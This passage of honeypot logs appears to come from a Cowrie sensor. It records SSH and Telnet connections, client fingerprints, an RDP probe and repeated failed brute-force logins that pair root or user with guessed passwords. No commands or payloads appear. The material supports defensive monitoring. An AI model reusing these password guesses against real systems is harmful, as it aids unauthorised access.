penssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:54:47.496282Z","src_ip":"103.173.227.57","session":"5094323dd7c4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"cfvfhf","message":"login attempt [root/cfvfhf] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:54:48.212765Z","src_ip":"103.173.227.57","session":"5094323dd7c4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:54:49.452264Z","src_ip":"103.173.227.57","session":"5094323dd7c4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.127605676651,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:54:49.674669Z","src_ip":"192.119.13.58","session":"659db27bee16","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.25","src_port":40797,"dst_ip":"10.17.0.5","dst_port":22,"session":"fa89a688371f","protocol":"ssh","message":"New connection: 2.57.121.25:40797 (10.17.0.5:22) [session: fa89a688371f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:54:58.681571Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:54:58.686842Z","src_ip":"2.57.121.25","session":"fa89a688371f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:54:58.796351Z","src_ip":"2.57.121.25","session":"fa89a688371f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"110484","message":"login attempt [user/110484] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:54:59.290795Z","src_ip":"2.57.121.25","session":"fa89a688371f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":52214,"dst_ip":"10.17.0.5","dst_port":23,"session":"8db304a8f716","protocol":"telnet","message":"New connection: 192.119.13.58:52214 (10.17.0.5:23) [session: 8db304a8f716]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:54:59.827891Z"}
{"eventid":"cowrie.login.failed","username":"user","password":"110479","message":"login attempt [user/110479] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:55:00.399507Z","src_ip":"2.57.121.25","session":"fa89a688371f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"11031979","message":"login attempt [user/11031979] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:55:01.509182Z","src_ip":"2.57.121.25","session":"fa89a688371f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"11031975","message":"login attempt [user/11031975] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:55:02.622561Z","src_ip":"2.57.121.25","session":"fa89a688371f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"11021978","message":"login attempt [user/11021978] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:55:03.735317Z","src_ip":"2.57.121.25","session":"fa89a688371f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00193762779236,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:55:04.829654Z","src_ip":"186.195.16.41","session":"59d98ea0e793","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"6.2","message":"Connection lost after 6.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:55:04.845339Z","src_ip":"2.57.121.25","session":"fa89a688371f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":43.4869122505188,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:55:06.340208Z","src_ip":"192.119.13.58","session":"846f19c5dce2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":54454,"dst_ip":"10.17.0.5","dst_port":23,"session":"4d8b91fdc983","protocol":"telnet","message":"New connection: 192.119.13.58:54454 (10.17.0.5:23) [session: 4d8b91fdc983]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:55:06.897569Z"}
{"eventid":"cowrie.session.closed","duration":42.903645038604736,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:55:09.940608Z","src_ip":"192.119.13.58","session":"50f648c40cbb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.66.85.226","src_port":43746,"dst_ip":"10.17.0.5","dst_port":22,"session":"941f4ba4885a","protocol":"ssh","message":"New connection: 80.66.85.226:43746 (10.17.0.5:22) [session: 941f4ba4885a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:55:30.328860Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:55:30.334141Z","src_ip":"80.66.85.226","session":"941f4ba4885a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:55:30.427651Z","src_ip":"80.66.85.226","session":"941f4ba4885a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"hamster","message":"login attempt [root/hamster] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:55:30.706567Z","src_ip":"80.66.85.226","session":"941f4ba4885a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":34418,"dst_ip":"10.17.0.5","dst_port":23,"session":"b9cc341c9b64","protocol":"telnet","message":"New connection: 192.119.13.58:34418 (10.17.0.5:23) [session: b9cc341c9b64]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:55:31.686725Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:55:31.800735Z","src_ip":"80.66.85.226","session":"941f4ba4885a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":45368,"dst_ip":"10.17.0.5","dst_port":23,"session":"9c0d709d8688","protocol":"telnet","message":"New connection: 192.119.13.58:45368 (10.17.0.5:23) [session: 9c0d709d8688]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:55:34.655921Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.120","src_port":40094,"dst_ip":"10.17.0.5","dst_port":22,"session":"67fb4bb2e5c8","protocol":"ssh","message":"New connection: 103.27.238.120:40094 (10.17.0.5:22) [session: 67fb4bb2e5c8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:55:35.258436Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:55:35.268308Z","src_ip":"103.27.238.120","session":"67fb4bb2e5c8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:55:35.530992Z","src_ip":"103.27.238.120","session":"67fb4bb2e5c8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwerfdsa","message":"login attempt [root/qwerfdsa] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:55:36.319025Z","src_ip":"103.27.238.120","session":"67fb4bb2e5c8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:55:37.586889Z","src_ip":"103.27.238.120","session":"67fb4bb2e5c8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":42.94287085533142,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:55:42.770635Z","src_ip":"192.119.13.58","session":"8db304a8f716","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.467116355895996,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:55:44.364567Z","src_ip":"192.119.13.58","session":"4d8b91fdc983","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":47080,"dst_ip":"10.17.0.5","dst_port":23,"session":"03e170ae9fec","protocol":"telnet","message":"New connection: 192.119.13.58:47080 (10.17.0.5:23) [session: 03e170ae9fec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:55:49.684282Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":53796,"dst_ip":"10.17.0.5","dst_port":23,"session":"b9a45371ec90","protocol":"telnet","message":"New connection: 192.119.13.58:53796 (10.17.0.5:23) [session: b9a45371ec90]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:55:58.487150Z"}
{"eventid":"cowrie.session.connect","src_ip":"167.172.81.52","src_port":55276,"dst_ip":"10.17.0.5","dst_port":22,"session":"59f13d4e8495","protocol":"ssh","message":"New connection: 167.172.81.52:55276 (10.17.0.5:22) [session: 59f13d4e8495]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:56:04.444341Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:56:04.449971Z","src_ip":"167.172.81.52","session":"59f13d4e8495","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:56:04.458976Z","src_ip":"167.172.81.52","session":"59f13d4e8495","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"37.233.85.71","src_port":34616,"dst_ip":"10.17.0.5","dst_port":22,"session":"415837f6da60","protocol":"ssh","message":"New connection: 37.233.85.71:34616 (10.17.0.5:22) [session: 415837f6da60]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:56:10.880131Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:56:10.886907Z","src_ip":"37.233.85.71","session":"415837f6da60","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:56:10.988175Z","src_ip":"37.233.85.71","session":"415837f6da60","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"tujhrf","message":"login attempt [root/tujhrf] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:56:11.289327Z","src_ip":"37.233.85.71","session":"415837f6da60","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:56:12.393689Z","src_ip":"37.233.85.71","session":"415837f6da60","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":41.68843054771423,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:56:13.375005Z","src_ip":"192.119.13.58","session":"b9cc341c9b64","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.55586767196655,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:56:17.211669Z","src_ip":"192.119.13.58","session":"9c0d709d8688","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.527812242507935,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:56:20.211933Z","src_ip":"192.119.13.58","session":"03e170ae9fec","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.828646659851074,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:56:32.315654Z","src_ip":"192.119.13.58","session":"b9a45371ec90","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":46034,"dst_ip":"10.17.0.5","dst_port":23,"session":"227580e9fe5b","protocol":"telnet","message":"New connection: 192.119.13.58:46034 (10.17.0.5:23) [session: 227580e9fe5b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:56:40.406794Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.71.17","src_port":25022,"dst_ip":"10.17.0.5","dst_port":22,"session":"47e5bd32edaa","protocol":"ssh","message":"New connection: 103.75.71.17:25022 (10.17.0.5:22) [session: 47e5bd32edaa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:56:44.962461Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:56:44.967295Z","src_ip":"103.75.71.17","session":"47e5bd32edaa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:56:45.098045Z","src_ip":"103.75.71.17","session":"47e5bd32edaa","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"44:f1:40:53:5c:3d:ee:d5:d2:50:54:68:68:5c:fd:66","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC5jsAWF1nBw8ODy9z8+zJb7BTMr4D/e7q4x4y25DsZ5PD0E/+YReXsZij5rLC8OBT9WHOpPDDYZt9Ad681ZGOdbDwO7X2R9S5hfE3RO7EPEYUWxd+IAHnBr4m5cZYqmbtUNbT5G/7/UTODQDaV1qystLf6MqacbS19g7t/BXH9gja/4zVcm2fgdHs68fQ0gFgiqQbLmA+HWbDP7+HNcbBsSVd2uv3KQM+7c271QWygsS0JewNRUViBLnuTmNs924c8jHsPDA48EZHxBmXAoJZHhVHadDkZUsd0Y2NtZMRBct73uy7oDY6BQ8A+FfoWYKk0F4sVTszp2SyKSv1HGBM/","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 44:f1:40:53:5c:3d:ee:d5:d2:50:54:68:68:5c:fd:66","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:56:45.712797Z","src_ip":"103.75.71.17","session":"47e5bd32edaa","protocol":"ssh"}
